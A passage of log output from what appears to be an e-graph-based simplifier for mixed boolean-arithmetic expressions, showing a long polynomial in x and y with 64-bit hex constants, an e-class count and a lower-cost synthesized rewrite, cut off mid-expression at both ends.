0xeec0339000000000)*((x&y)*(x&y))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000))+((((x&(~y))*(x&(~y)))*0x113fcc7000000000)*(x&y)))+(((x&(~y))*0xeec0339000000000)*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*y))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*((~x)^y)))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*(x&(~y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*y))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*(x&(~y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*y))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*(x&(~y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*y))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*(x&(~y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*y))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*(x&(~y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*y))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*y))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*(x&(~y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*y))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*(x&(~y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(x&(~y))))+((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&y)*(x&y))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&y)*(x&y))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&y)*(x&y))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*((~x)^y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*((~x)^y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*0xf181638000000000)*(y*y))*((~x)^y)))+((((x|y)*0xf181638000000000)*(y*y))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x|y)*0xf181638000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x|y)*0xaf7f898000000000)*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*0xb5210aa000000000)*(y*y))*((~x)^y)))+((((x*y)*0xb5210aa000000000)*(y*y))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x*y)*0xb5210aa000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x*y)*0xc39fa72000000000)*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(x&(~y)))*((x&y)*(x&y))))+(((y^x)*0xd7bfc4c000000000)*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*0x820278b000000000))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(x&(~y))))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+((((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((y*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((y*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((((~x)^y)*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y)))+((((x&(~y))*(x&(~y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((x&(~y))*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 8059
Synthesized (cost = 3700): (((((x&y)*(x&y))*((((x&(~y))*0xf7f61d4000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0xc0ed42000000000)))+((((((x&y)*(x&y))*(((((~x)^y)*0xf7f61d4000000000)*(x&y))+((((~x)^y)*0x181da84000000000)*(x&(~y)))))+(((((x&y)*((((((~x)^y)*((~x)^y))*0xc0ed42000000000)*(x&y))+(((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))))+((((((((x&y)*(x&y))*(((y*0xf7f61d4000000000)*(x&y))+((y*0x181da84000000000)*(x&(~y)))))+(((((x&y)*((((y*0x181da84000000000)*((~x)^y))*(x&y))+(((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x&(~y)))))+(((((((((y*(y*y))*0x809e2c000000000)*((~y)+(x&y)))+(((((x&y)*(x&y))*((((y^x)*0xd7bfc4c000000000)*(x&y))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))+(((((x&y)*(((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&y))+((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((y^x)*0x78c0b1c000000000)*y)*(x&y))+((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))))+((((((((((y^x)*0x78c0b1c000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x*y)*0xc39fa72000000000)*(x&y))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))+(((((x&y)*(((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&y))+((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((x*y)*0xb5210aa000000000)*y)*(x&y))+((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))))+((((((((((x*y)*0xb5210aa000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x|y)*0xaf7f898000000000)*(x&y))+(((x|y)*0xf181638000000000)*(x&(~y)))))+(((((x&y)*(((((x|y)*0xf181638000000000)*((~x)^y))*(x&y))+((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((x|y)*0xf181638000000000)*y)*(x&y))+((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))))+((((((((((x|y)*0xf181638000000000)*(y*y))*((~y)+(x&y)))+((((x&y)*(((((y^x)*(y^x))*0x6b02c22000000000)*(x&y))+((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))))+(((((((((((y^x)*(y^x))*0xd605844000000000)*y)*((~y)+(x&y)))+((((x&y)*(((((x*y)*0x4108466000000000)*(y^x))*(x&y))+((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))))+(((((((((((x*y)*0x82108cc000000000)*(y^x))*y)*((~y)+(x&y)))+((((x&y)*(((((x*y)*(x*y))*0xb0c634c800000000)*(x&y))+((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))))+(((((((((((x*y)*(x*y))*0x618c699000000000)*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*0xac0b088000000000)*(y^x))*(x&y))+((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))))+(((((((((((x|y)*0x5816110000000000)*(y^x))*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*0x82108cc000000000)*(x*y))*(x&y))+((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))))+(((((((((((x|y)*0x421198000000000)*(x*y))*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*(x|y))*0xac0b088000000000)*(x&y))+((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))))+(((((((((((x|y)*(x|y))*0x5816110000000000)*y)*((~y)+(x&y)))+(((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)+((((x&y)*((((x&(~y))*0xeec0339000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0x113fcc7000000000)))+((((x&y)*(((((~x)^y)*0xeec0339000000000)*(x&y))+((((~x)^y)*0x227f98e000000000)*(x&(~y)))))+(((((((x&y)*(((y*0xeec0339000000000)*(x&y))+((y*0x227f98e000000000)*(x&(~y)))))+(((((((((y*y)*0xeec0339000000000)*((~y)+(x&y)))+((((x&y)*((((y^x)*0x5a353ef000000000)*(x&y))+(((y^x)*0x4b95822000000000)*(x&(~y)))))+((((((((((y^x)*0xb46a7de000000000)*y)*((~y)+(x&y)))+((((x&y)*((((x*y)*0x874fde6800000000)*(x&y))+(((x*y)*0xf160433000000000)*(x&(~y)))))+((((((((((x*y)*0xe9fbcd000000000)*y)*((~y)+(x&y)))+((((x&y)*((((x|y)*0xb46a7de000000000)*(x&y))+(((x|y)*0x972b044000000000)*(x&(~y)))))+((((((((((x|y)*0x68d4fbc000000000)*y)*((~y)+(x&y)))+(((((y^x)*(y^x))*0x70402d7000000000)+((((x*y)*0x50c0885000000000)*(y^x))+((((x*y)*(x*y))*0xbc90663c00000000)+((((x|y)*0xc100b5c000000000)*(y^x))+((((x|y)*0xa18110a000000000)*(x*y))+((((x|y)*(x|y))*0xc100b5c000000000)+((((((((((y*0x666f84b000000000)*((~y)+(x&y)))+((((y^x)*0xdab01d3000000000)+(((x*y)*0xc8082bc800000000)+(((x|y)*0xb5603a6000000000)+(0xdd3fb3ff21e75952+((((y^x)*((((x*y)*0x3e5f50a000000000)*(y^x))+(((x*y)*(x*y))*0xdd8ef8f000000000)))+((((y^x)*((((x|y)*0xfdd46b8000000000)*(y^x))+(((x|y)*0xf97d428000000000)*(x*y))))+(((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))))))+((y*y)*0x3337c25800000000)))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))))))))+(((x|y)*0xb46a7de000000000)*(y*y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y))))))+(((x*y)*0x874fde6800000000)*(y*y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y))))))+(((y^x)*0x5a353ef000000000)*(y*y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y))))))+((y*(y*y))*0xfa40113000000000)))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y))))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y))))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000)))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))))))))))))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y))))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y))))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y))))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y))))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*(y*(y*y)))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((x*y)*0x3c6058e000000000)*(y*(y*y)))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y))))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y))))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y))))+(((y^x)*0x28403b4000000000)*(y*(y*y)))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~